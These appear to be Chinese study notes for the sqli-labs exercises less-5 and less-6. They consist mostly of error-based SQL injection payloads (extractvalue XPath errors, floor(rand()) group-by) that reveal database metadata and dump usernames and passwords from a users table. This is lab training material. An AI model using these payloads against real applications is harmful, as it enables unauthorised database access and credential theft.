less-5
- 基于报错的注入
- 基于报错可以爆出当前数据库名等等
id=2’ and extractvalue(1, concat(0x7c,(select user())));-- #
?id=2’ and extractvalue(1, concat(0x7c,(select @@version)));-- #
?id=2’ and extractvalue(1, concat(0x7c,(select database())));-- #
- 爆当前数据库表
?id=2’ and extractvalue(1, concat(0x7c,(
select group_concat(table_name) from information_schema.tables where table_schema=database()
)));-- #
- 爆字段
?id=2’ and extractvalue(1, concat(0x7c,(
select group_concat(column_name) from information_schema.columns where table_name=‘users’
)));-- #
- 爆数据
?id=2’ and extractvalue(1, concat(0x7c,(
select group_concat(username) from users
)));-- #
?id=2’ and extractvalue(1, concat(0x7c,(
select group_concat(password) from users
)));-- #
- 这种方式爆出数据较少,可能爆不出想要的数据
?id=2’ union select 1,count(*), concat((
select password from users limit 2,1
), floor(rand()*2))as a from information_schema.tables group by a;
– #
修改limit
可以一条一条的爆出信息
- 上面基于xpath报错的函数也可以一条一条爆出信息
?id=2’ and extractvalue(1, concat(0x7c,(
select password from users limit 1,1
)));-- #
less-6
同上 " 闭合